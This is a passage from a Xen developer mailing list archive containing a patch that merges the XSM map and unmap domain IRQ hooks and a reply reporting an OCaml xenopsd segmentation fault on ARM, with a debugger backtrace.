        b=ALD7ehf8X2hr6B7NlbpfYaR/uBVVFP3PCxsVwVPDQ7uzE/S1OoBupM8G2MRvHDAb9j
         x1W6Oa6yFHJl5BglrC8o5pqxdAbLr1RHFEYs17mNt/dLP1behYGILbObT5onyhVF3DCE
         nlbCXC0VvU0IdekkfGIwKEKSbgbLGf5s93pLdGkvfqjcRUhYxB6Jd7v45pAT7mLjbYxf
         vO85IFoZ+SsX++G6RRkan3UvwjCutK75Vj8zJDYgJd3bVdAuektCX73cpOgvUx3mA+o9
         T5gnK7DRUmdMt/rZ/QNeyeIXtzOczlkuNBUHKqaUr7vvU8khPCmgcgHbZkcH6ZJPTbh4
         S/yA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785245174; x=1785849974;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=A9LQ0YbONOfKcGHn8Pxg/3chj8rv49uQXmbI7DaWPL4=;
        b=SLSptZWxY2di8EcpoK5vpcaex1DlJiVnyN2yco3Q2IrRYJ4MwynVxH34+PjQs0mveT
         s9MksIcfZhHeKqt316MIIHwHwix9eg0P7tsnWHAItJch9O+Xe8DWY7s2p6zjKWhhJRn/
         fu/xqCog4iRxTK91MJ1/8+aIZaCeOTpMy5+IxcWNoanhibL2xjc0fezLlL3f4NBV3dXy
         5kSVQ9oS/Xpu5KQZx2M8lcfp94n0hHMn+oRLrtBm0RYyuR8Ma6ZE/62HtTPkzq/KYIsI
         ELzQL+MrfFN0lrcyMSr5f+qpW5gzlBdkOLmHzN+BreVKOwPZ/KrYNsMY7LO4gl93IUV/
         dzVA==
X-Gm-Message-State: AOJu0YzURQaJkSNKPTzHUIH5OpiY64oi8AT6dYP0L5Pyb7aWPybFqjX1
	P1uaq0ucL1qauDblJmAeHAbJt8MJWvzLUduEMvOl3CVx+VnXcATr/Nx2XeQIh8xwLsxVJeic8Zm
	Qj6EWEg==
X-Gm-Gg: AR+sD10SaFB+3RVCVnte/naHeQCDVRpq33o0Eitm/l5epxJaSlSTqGH5Puu3xuNhOxK
	VHnfQixDIC87dyQWRckc8i/rN4bKUuWEbepZA2yASWisBZJKaGwn9Tv5yG4gBTUn0ngdLtYULHo
	C6hmWXJ8V9bi9pY233xee/I567ZIpjwPg2p930Y2sUI75HK4KpTz+b6Ym6bnnhFXUuLkqNLPvhr
	pvzA+ced1yOqF7tvm31JIg4FrlADC6AcKQ9NN+JyBkCjSVz7DWG1SrbCRomMtKMsBwrEfac66ox
	UO8tZIYRw3IFw66KajdwfzavvHSVSGhbEEGaPrAhqsUv05O8hh/pwqrxVGogCI9lmeU02E8wSyM
	Mq47/LD0ldmlTDYlzzFvoLIGhG9cdn3wBhcnLW+tR25xWh5JP/4TtUsyZe+3riuk2Sr1I7RSe6m
	wMC/9OC8dHXmFHdX/Bf9+T3FBVRjfJ8ceOqiLrMLtRF2RoWmQMo3+O43k89HDngDCEtQ==
X-Received: by 2002:a05:600c:630d:b0:495:6134:6d61 with SMTP id 5b1f17b1804b1-496c6568d4bmr30173215e9.19.1785245173544;
        Tue, 28 Jul 2026 06:26:13 -0700 (PDT)
Message-ID: <e2e0a2d4-0b18-400a-a5aa-4507c1e8a7b2@suse.com>
Date: Tue, 28 Jul 2026 15:26:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 23/24] XSM: fold xsm_{,un}map_domain_irq() hooks
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1785245174-D694287B-30B7C026/0/0
X-purgate-type: clean
X-purgate-size: 5016

Like other resource management hooks they are (now) mainly different in
"add resource" vs "remove resource". Hence like in other cases a single
hook can easily serve both purposes, with minor tweaking of
flask_map_domain_irq(). While adjusting that function, also defer the
setting of local variables only needed in the "map" case.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/arch/arm/domctl.c
+++ b/xen/arch/arm/domctl.c
@@ -100,7 +100,7 @@ long arch_do_domctl(struct xen_domctl *d
          * done by the 2 hypercalls for consistency with other
          * architectures.
          */
-        rc = xsm_map_domain_irq(XSM_HOOK, d, irq, NULL);
+        rc = xsm_map_domain_irq(XSM_HOOK, d, irq, NULL, true);
         if ( rc )
             return rc;
 
--- a/xen/arch/x86/irq.c
+++ b/xen/arch/x86/irq.c
@@ -2214,7 +2214,7 @@ int map_domain_pirq(
         return 0;
     }
 
-    ret = xsm_map_domain_irq(XSM_HOOK, d, irq, msi ? &msi->sbdf : NULL);
+    ret = xsm_map_domain_irq(XSM_HOOK, d, irq, msi ? &msi->sbdf : NULL, true);
     if ( ret )
     {
         dprintk(XENLOG_G_ERR, "dom%d: could not permit access to irq %d mapping to pirq %d\n",
@@ -2441,8 +2441,8 @@ int unmap_domain_pirq(struct domain *d,
      * domain.  Skip the XSM check since this is a Xen-initiated action.
      */
     if ( !d->is_dying )
-        ret = xsm_unmap_domain_irq(XSM_HOOK, d, irq,
-                                   msi_desc ? &msi_desc->dev->sbdf : NULL);
+        ret = xsm_map_domain_irq(XSM_HOOK, d, irq,
+                                 msi_desc ? &msi_desc->dev->sbdf : NULL, false);
 
     if ( ret )
         goto done;
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -470,7 +470,8 @@ static XSM_INLINE int xsm_map_domain_pir
 #endif /* CONFIG_HAS_PIRQ */
 
 static XSM_INLINE int xsm_map_domain_irq(
-    XSM_DEFAULT_ARG struct domain *d, int irq, const pci_sbdf_t *sbdf)
+    XSM_DEFAULT_ARG struct domain *d, int irq, const pci_sbdf_t *sbdf,
+    bool allow)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
@@ -490,13 +491,6 @@ static XSM_INLINE int xsm_unbind_pt_irq(
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int xsm_unmap_domain_irq(
-    XSM_DEFAULT_ARG struct domain *d, int irq, const pci_sbdf_t *sbdf)
-{
-    XSM_ASSERT_ACTION(XSM_HOOK);
-    return xsm_default_action(action, current->domain, d);
-}
-
 static XSM_INLINE int xsm_irq_permission(
     XSM_DEFAULT_ARG struct domain *d, int pirq, bool allow)
 {
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -71,8 +71,7 @@ XSM_HOOK(int, schedop_shutdown, struct d
 XSM_HOOK(int, map_domain_pirq, struct domain *, bool)
 #endif
 
-XSM_HOOK(int, map_domain_irq, struct domain *, int, const pci_sbdf_t *)
-XSM_HOOK(int, unmap_domain_irq, struct domain *, int, const pci_sbdf_t *)
+XSM_HOOK(int, map_domain_irq, struct domain *, int, const pci_sbdf_t *, bool)
 XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
 XSM_HOOK(int, unbind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
 
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1063,12 +1063,11 @@ static uint32_t flask_iommu_resource_use
 }
 
 static int cf_check flask_map_domain_irq(
-    struct domain *d, int irq, const pci_sbdf_t *sbdf)
+    struct domain *d, int irq, const pci_sbdf_t *sbdf, bool access)
 {
-    uint32_t sid, dsid;
+    uint32_t sid, dsid, dperm;
     int rc = -EPERM;
     struct avc_audit_data ad;
-    uint32_t dperm = flask_iommu_resource_use_perm(d);
 
     if ( irq >= nr_static_irqs && sbdf )
         rc = flask_map_domain_msi(d, irq, *sbdf, &sid, &ad);
@@ -1078,33 +1077,16 @@ static int cf_check flask_map_domain_irq
     if ( rc )
         return rc;
 
-    dsid = domain_sid(d);
-
-    rc = avc_current_has_perm(sid, SECCLASS_RESOURCE, RESOURCE__ADD_IRQ, &ad);
-    if ( rc )
+    rc = avc_current_has_perm(sid, SECCLASS_RESOURCE,
+                              access ? RESOURCE__ADD_IRQ : RESOURCE__REMOVE_IRQ,
+                              &ad);
+    if ( rc || access )
         return rc;
 
-    rc = avc_has_perm(dsid, sid, SECCLASS_RESOURCE, dperm, &ad);
-    return rc;
-}
-
-static int cf_check flask_unmap_domain_irq(
-    struct domain *d, int irq, const pci_sbdf_t *sbdf)
-{
-    uint32_t sid;
-    int rc = -EPERM;
-    struct avc_audit_data ad;
-
-    if ( irq >= nr_static_irqs && sbdf )
-        rc = flask_map_domain_msi(d, irq, *sbdf, &sid, &ad);
-    else
-        rc = get_irq_sid(irq, &sid, &ad);
-
-    if ( rc )
-        return rc;
+    dsid = domain_sid(d);
+    dperm = flask_iommu_resource_use_perm(d);
 
-    rc = avc_current_has_perm(sid, SECCLASS_RESOURCE, RESOURCE__REMOVE_IRQ, &ad);
-    return rc;
+    return avc_has_perm(dsid, sid, SECCLASS_RESOURCE, dperm, &ad);
 }
 
 static int cf_check flask_bind_pt_irq(



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:28:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:28:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374197.1621173 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohql-0007YL-PJ; Tue, 28 Jul 2026 13:28:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374197.1621173; Tue, 28 Jul 2026 13:28:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohql-0007YE-L6; Tue, 28 Jul 2026 13:28:03 +0000
Received: by outflank-mailman (input) for mailman id 1374197;
 Tue, 28 Jul 2026 13:28:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa8e926d1000e099@swg.vates.tech>)
 id 1wohqj-0007Xx-Va
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:28:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohqj-00EU00-8h
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:28:01 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa8e926d1000e099@swg.vates.tech>)
 id 6a68ae5f-e002-0a2a0a5209dd-0a2a450890c8-6
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:28:01 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa8e926d1000e099@swg.vates.tech>)
 id 6a68ae60-f659-0a2a45080019-b9ff1c129e61-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:28:00 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fa8e926d1000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Tue, 28 Jul 2026 13:27:59 +0000
Received: from [192.168.0.38]
 (ipservice-092-208-106-227.092.208.pools.vodafone-ip.de [92.208.106.227])
 (Authenticated sender: julian.vetter)
 by mail2.vates.fr (Postfix) with ESMTPSA id 3C30981BB0;
 Tue, 28 Jul 2026 15:27:59 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=VZY0KcTsQEFDip0CqBqYkSAz21UVp4d34oXZAfOeDGo=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=ld4KG1rZslOi4+XIOOzM8eCzbWmZkbQIvikLiO8jV7VVUtu/bzKlwpr7UOF3WfNU0wxq5nRPp
 KC6QpB8DUomhNnnN22MHgIQPl2uSz6vBCTsycunPiu8DN4JxLXHo2+rasT2r1bUd06oxvS0wxEj
 UDcgwfqQz1Ul1kynzG8wfZgE2uaxos61m2LpNgYOII04Uvz760TjajvTPFq6IaUigeea0BOxspm
 b+jyICGGvZnZ9i0ZCaQ9aDgnUJHD3J6r5OjYLaxjR/o4VWk+HosohiIUNYqR5ZNjO0+McY3tkPK
 TC9ocBh3y9R3QRavd7qjoLgk33stQnvUsYZsG9HprN8A==
X-Zone-Loop: 2cb68def24a67cac2ef46d85f104f3f0a2a91b13fd63
x-campaign-type: default
x-transaction-id: 34833e55-42b9-492d-af47-2de698eccdf3
x-swg-uid: 01-6e3564b4-5607-4542-a748-f4b93a4f089d
X-Mailer: Sweego
Message-ID:
 <1785245280.8631fc262581453bbf619ec5b2062170.19fa8e926d1000e099@vates.tech>
x-swg-bid: 1785245280.8631fc262581453bbf619ec5b2062170.19fa8e926d1000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Tue, 28 Jul 2026 15:27:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] tools/ocaml: fill arch_config for ARM in
 domain_getinfolist
To: Andrew Cooper <andrew.cooper3@citrix.com>, xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
References: <1785143496.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@vates.tech>
 <49b43341-5075-4989-a066-745373b0dc7e@citrix.com>
Content-Language: en-US
From: Julian Vetter <julian.vetter@vates.tech>
In-Reply-To: <49b43341-5075-4989-a066-745373b0dc7e@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1564.774935ac0693ae05.19fa8e924c1.cef8f57cb56fe034=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785245279425
X-purgate-ID: tlsNG-c1860d/1785245281-CF35D87B-146EAB8A/0/0
X-purgate-type: clean
X-purgate-size: 3562

---=Part.1564.774935ac0693ae05.19fa8e924c1.cef8f57cb56fe034=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On 7/28/26 14:59, Andrew Cooper wrote:
> On 27/07/2026 10:11 am, Julian Vetter wrote:
>> In the function alloc_domaininfo() the arch_config field in domaininfo
>> is only filled inside #if defined(__i386__) || defined(__x86_64__)=2E O=
n
>> ARM the field is left unpopulated=2E caml_alloc_tuple() does not zero n=
ew
>> blocks,
>=20
> Hmm=2E=C2=A0 Yes it does=2E=C2=A0 caml_alloc_tuple() calls caml_alloc() =
which
> initialises with Val_unit everywhere=2E
>=20
> It is only caml_alloc_small() which doesn't allocate, and potentially
> ends up with garbage=2E
>=20
> Do you have details of the crash?=C2=A0 I think it ought to be a plain
> NULL(ish) deference from trying to interpret Val_unit as a pointer=2E
>=20

Sorry, you're right=2E My phrasing is actually wrong=2E Because as you sai=
d,=20
it's not garbage=2E Because it is zero'ed=2E It's just a "almost" NULL=20
pointer dereference and it terminates with a SIGSEGV=2E

I created a backtrace yesterday=2E Unfortunately I replaced the binaries=
=20
already and modified a lot of stuff in between for debugging=2E But here=
=20
are the details from my notes:

$ coredumpctl debug -1
=2E=2E=2E
Core was generated by `/usr/sbin/xenopsd-xc --config /etc/xenopsd=2Econf=
=20
--config-dir /etc/xenopsd=2Econf=2E'=2E
Program terminated with signal SIGSEGV, Segmentation fault=2E
#0  0x0000aaaadd311728 in camlXenops_server_xen__fun_14373 ()
[Current thread is 1 (LWP 21348)]

(gdb) bt
#0  camlXenops_server_xen__fun_14373 ()
      at ocaml/xenopsd/xc/xenops_server_xen=2Eml:3368
#1  0x0000aaaadd390d34 in camlXenops_server__fun_17304 ()
     at ocaml/xenopsd/lib/xenops_server=2Eml:3229
#2  0x0000aaaadd372c64 in camlXenops_task__with_tracing_1305 ()
     at ocaml/xenopsd/lib/xenops_task=2Eml:103
#3  0x0000aaaadd394100 in camlXenops_server__one_7593 ()
     at ocaml/xenopsd/lib/xenops_server=2Eml:3401
#4  0x0000aaaadd3943e8 in camlXenops_server__fun_19063 ()
     at ocaml/xenopsd/lib/xenops_server=2Eml:3432
#5  0x0000aaaadd3be558 in camlTask_server__run_1022 ()
     at ocaml/xapi-idl/lib/task_server=2Eml:192
#6  0x0000aaaadd45ab2c in camlDebug__fun_2365 () at=20
ocaml/libs/log/debug=2Eml:258
#7  0x0000aaaadd556dec in camlBacktrace__with_backtraces_1095 ()
#8  0x0000aaaadd45aa0c in camlDebug__with_thread_associated_inner_2357 ()
     at ocaml/libs/log/debug=2Eml:257
#9  0x0000aaaadd38359c in camlXenops_server__fun_13600 ()
     at ocaml/xenopsd/lib/xenops_server=2Eml:1174
#10 0x0000aaaadd5b4b84 in camlThread__fun_850 ()
#11 0x0000aaaadd6700c8 in caml_start_program ()
#12 0x0000aaaadd664a2c in caml_callback_exn ()
#13 0x0000aaaadd63ee88 in caml_thread_start ()
#14 0x0000ffffb0ecba88 in start_thread () from /lib64/libc=2Eso=2E6
#15 0x0000ffffb0f36e8c in thread_start () from /lib64/libc=2Eso=2E6


Line 3368 is match di=2EXenctrl=2Earch_config with ARM _ -> true | X86 _ -=
>=20
false

ldr x0, [sp, #192]      ; x0 =3D di # -> the domaininfo tuple pointer
ldr x23, [x0, #128]     ; x23 =3D Field(di, 16) # -> word 16 =3D arch_conf=
ig

and then it faults on the very next instruction when it tries to=20
determine whether it's ARM or x86=2E

> ~Andrew
>=20



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.1564.774935ac0693ae05.19fa8e924c1.cef8f57cb56fe034=---


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:28:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:28:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374204.1621181 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohrP-000834-VQ; Tue, 28 Jul 2026 13:28:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374204.1621181; Tue, 28 Jul 2026 13:28:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohrP-00082x-Sh; Tue, 28 Jul 2026 13:28:43 +0000
Received: by outflank-mailman (input) for mailman id 1374204;
 Tue, 28 Jul 2026 13:28:42 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wohrO-00082j-HY
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:28:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohrN-00BTIz-UW
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:28:41 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ae88-e002-0a2a0a5209dd-0a2a450398ea-10
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:28:41 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ae11-fae8-0a2a45030019-d155dd2de4f9-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:26:41 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47f703a9d05so2588410f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:26:41 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a596sm57279913f8f.4.2026.07.28.06.26.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:26:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785245201; x=1785850001; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=HrOvCzsNhd33qamE+cZ36ihr91EVmBqcRr+fANgYdRs=;
        b=FO7NDSEzzQGO9KLDEY6CQPkJi09d8bVOH2fMmBGSFw+ZhyPRQLBGoBmKkjqkCcChay
         r9xWd81hrHwYJSmQj0nqMgxouvi3AklwPy+Rz5g8CyoocyOm0PIrqwbld3lv6oiKYLcR
         8662nVQ9zUax1CpOy7a2Kx+vRMCgkefjv2s8HSUmDh44pcCi59llwFOg9BV/7V4rI4Pq
         Xt1srIViMJ3twBMbgGNMaUGR12FBALCKYsf63yfF1Z/q7ViHXUU6GephWzPKwMJcV+13
         2WbAMq4ylAdOyRE+IZAd29YJYcfE70EEGtxYi0qosC7uB2ufpW0/eDwZ8FfFZga0fclK
         ulxA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785245201; x=1785850001;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=HrOvCzsNhd33qamE+cZ36ihr91EVmBqcRr+fANgYdRs=;
        b=aj074I9aeEkQ523PY0aQ75PKjga3NCEr33ItXNxOey53Xg2+LRaVn8Cv+0bERCCOWD
         bXfCJFrqmxjrw5OJBF5F9/dqdng3rpvGGcViIDqWbBKmU4fWX7yy0HWFQB3I21vFbaxE
         AhExaed6WsIEeItd2zx1a/3+IKL1jfKUWwcdaxJaqsw/NG9sUbPjNlufa6LY2vGfTk9U
         TfWUoRIiVtrQzJjNjqejOtDPyAWZWgzr52xr4mCBbav2ZY9uKazGPuvwQkeeiZ/JHrsX
         nfwkjvMmkph6JCXCCINNJztvoZAYutSEsdxQf6TV4OKIB3OzeZhNkF62yADZWXn99mJv
         sGAw==
X-Gm-Message-State: AOJu0YwuWrci2TU7JzzjmOkJXj19JxJ9YMxl+Xn+cmsB9B34O13tiKI2
	D9F1hqWf6DK3wtn5eaRX5QJ7KMfT4QTrF9nlUSh+ajwN6VzlQlB1uavYwWkDgepx++Wym9OCEGj
	gtwrNLw==
X-Gm-Gg: AR+sD10CiynUpKMhfELLFtgKBcTrJpRB18GtZ4pMofDY4sqsx3wNvG86YawcTEIOOj4
	t86p3Ji9ZvnNInDqpfvayr4lTOc1HOgC0EEb9AdseEmdhIvtwecALI1kjcSdiiCai0j3HIwlOKt
	1pS/edwuLzubhlq5om4MUAKdOp00QkHa0wDx6gECfcVoa0ZWzwyIcCzj3CmpYUenxw1fQckP9mE
